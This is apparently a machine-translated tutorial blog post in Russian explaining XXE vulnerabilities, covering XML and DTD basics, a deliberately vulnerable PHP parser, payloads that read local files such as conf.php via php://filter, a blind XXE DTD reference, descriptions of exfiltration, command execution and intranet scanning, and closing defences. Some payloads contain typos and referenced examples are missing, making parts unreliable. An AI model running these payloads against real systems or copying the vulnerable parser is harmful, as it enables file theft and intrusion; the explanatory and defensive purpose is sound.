Сухая информация | Одна статья объясняет принципы и использование уязвимостей XXE
Сухая информация | Одна статья объясняет принципы и использование уязвимостей XXE

XXE-уязвимость

XXE означает «внедрение внешних сущностей XML», что представляет собой уязвимость внедрения внешних сущностей XML.

Триггерная точка XXE-уязвимость часто является местом, куда можно загрузить XML-файлы.,xml-файлы не фильтруются,Позволяет загружать вредоносные внешние файлы и код.,Вызов произвольного чтения файла,выполнение команды、Сканирование интранет-портов、Атака на интранет-сайт, запуск DoS-атак и другие опасности Чтобы понять уязвимости xxe, вы должны сначала разобраться в базовых знаниях и понять базовый состав XML-документов.

XML — это язык разметки, используемый для маркировки электронных документов с целью их структурирования.,Может использоваться для маркировки данных и определения типов данных.,это метод, который позволяет пользователям контролировать свои собственныеязык разметкиисходный язык, на котором дано определение。XMLВ структуру документа входятXML-декларация、Определение типа документа DTD (необязательно)、документэлемент

Введение и использование XML

XML предназначен для передачи и хранения данных. XML-документы образуют древовидную структуру, начиная с «корня» и заканчивая «листьями».

XML позволяет авторам определять свои собственные теги и собственную структуру документа.

Строительные блоки XML-документов

Все документы XML (а также документы HTML) состоят из следующих простых строительных блоков:

  • элемент
  • свойство
  • сущность
  • PCDATA
  • CDATA

Ниже приводится краткое описание каждого строительного блока.

1. Элементы

Элементы являются основными строительными блоками документов XML и HTML. Элементы могут содержать текст, другие элементы или быть пустыми. Пример:

Язык кода:javascript
копировать
<body>body text in between</body>
<message>some message in between</message>

Примеры пустых HTML-элементов: «hr», «br» и «img».

2. Свойства

Атрибуты предоставляют дополнительную информацию об элементе. Пример:

Язык кода:javascript
копировать
<img src="computer.gif" />

3. Сущность

Сущности — это переменные, используемые для определения обычного текста. Ссылка на сущность — это ссылка на сущность.

4. PCDATA

PCDATA означает проанализированные символьные данные. PCDATA — это текст, который будет анализироваться парсером. Эти тексты будут проверены парсером на наличие сущностей и тегов.

5. CDATA

CDATA означает символьные данные. CDATA — это текст, который не будет анализироваться синтаксическим анализатором.

Правила синтаксиса XML

  • Все элементы XML должны иметь закрывающий тег.
  • Теги XML чувствительны к регистру
  • XML должен быть правильно вложен.
  • Значение XMLсвойства должно быть указано в кавычках.
  • сущность Цитировать
  • В XML пробелы сохраняются.

Введение функции

file_get_cintentВведение функции

Функция file_get_content() считывает весь файл в строку.

Введение в php://inpput

php://input — это поток, доступный только для чтения, который обеспечивает доступ к запрошенным необработанным данным.

В сочетании с file_get_contents(php://input) данные, отправленные POST, можно прочитать.

simplexml_load_stringВведение функции

Функция simplexml_load_string в php преобразует строку формата xml в соответствующий SimpleXMLElement.

Функция вывода эха XML-инъекции

Вы можете использовать print_r() в php для отображения содержимого, которое вы хотите вывести.

существоватьXXE-уязвимостькод

Язык кода:javascript
копировать
<?php

$xml= file_get_contents(php://input);

$data = simplexml_load_string($xml);

echo"<pre>";

print_r($data);//Закомментируйте этот оператор, и эха не будет.

?>

Тест POC на php

file:///path/file.txt

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

DTD (Определение типа документа)

Роль DTD (определения типа документа) заключается в определении допустимых строительных блоков XML-документа.

DTD может быть объявлен внутри документа XML или на него можно ссылаться извне.

1. Внутреннее заявление: например: <!DOCTYOE test any>весь Пример:

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

2,внешняя декларация（ЦитироватьвнешнийDTD）：ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>весь Пример:

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

Содержимое note.dtd:

Язык кода:javascript
копировать
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

сущность DTD

DTD сущности — это переменная, используемая для определения ярлыка для ссылки на обычный текст или специальные символы, и может быть объявлена ​​внутри или на нее можно ссылаться извне.

Сущности делятся на общие сущности и сущности-параметры. 1. Синтаксис объявления общих сущностей: Способ обращения к сущностям:

&сущностьимя；

2. Сущности параметров можно использовать только в DTD. Формат объявления сущностей параметров:

Метод обращения к сущностям: % имя сущности;

1. Объявление внутренней сущности: ex:<!ENTITY eviltest "eviltest">весь Пример:

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>

2,внешнийсущностьзаявление:весь Пример:

Язык кода:javascript
копировать
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

Какие протоколы поддерживаются?

Различные программы поддерживают следующие протоколы: ![](

Среди них PHP поддерживает больше протоколов, но требует определенной расширенной поддержки.

эксплуатировать

Есть отголосок использования XXE-уязвимости.

Чтение файла документа
Язык кода:javascript
копировать
<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE  ANY[

<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>

<name>&xxe;</name>
Чтение php-файла
Язык кода:javascript
копировать
<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE  ANY[

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>

<name>&xxe;</name>

Принцип теста XXE без эха

ЗапросXML

<DOCTPE foo SYSTEM "http://192.168.3.112/test.dtd">

&e1;

сервердтд

Используйте gedit, чтобы установить содержимое test.dtd на содержимое файла, показанного на рисунке ниже.

Используйте Wireshark для захвата http и просмотра информации

Атаки и вред XXE (внешний объект XML)

XXE Опасность 1: Чтение произвольных файлов

Этот СЛУЧАЙ предназначен для чтения /etc/passwd. Некоторые библиотеки синтаксического анализа XML поддерживают перечисление каталогов. Злоумышленники могут получить учетную запись и пароль, перечислив каталоги и прочитав файлы, а затем продолжить атаку, например, после чтения tomcat-users.xml. учетную запись и пароль, они могут войти в диспетчер Tomcat.

Может отправлять данные на удаленный сервер

Содержимое удаленного файла evil.dtd следующее:

После запуска атаки XXE сервер отправит содержимое файла на сайт злоумышленника.

XXE Опасность 2: выполнение системных команд

Этот CASE предназначен для выполнения системных команд в среде PHP, где установлено ожидаемое расширение. Другие протоколы также могут выполнять системные команды.

XXE Опасность 3: Обнаружение портов интрасети

Этот CASE обнаруживает порты 80 и 81 из 192.168.1.1. Из возвращенного сообщения «Соединение отклонено» мы можем узнать, что порт 81 закрыт, а порт 80 открыт.

XXE Опасность 4: Атака на интранет-сайты

Этот CASE атакует веб-сайт struts2 в интрасети и удаленно выполняет системные команды.

Как защититься от атак xxe

1. Используйте метод, предусмотренный языком разработки, для отключения внешних объектов.

Язык кода:javascript
копировать
PHP：
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python：
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2. Фильтрация XML-данных, отправленных пользователями.

ключевые слова：<!DOCTYPEи<!ENTITY,или,СИСТЕМА и ОБЩЕСТВЕННОСТЬ

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native｜Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose
©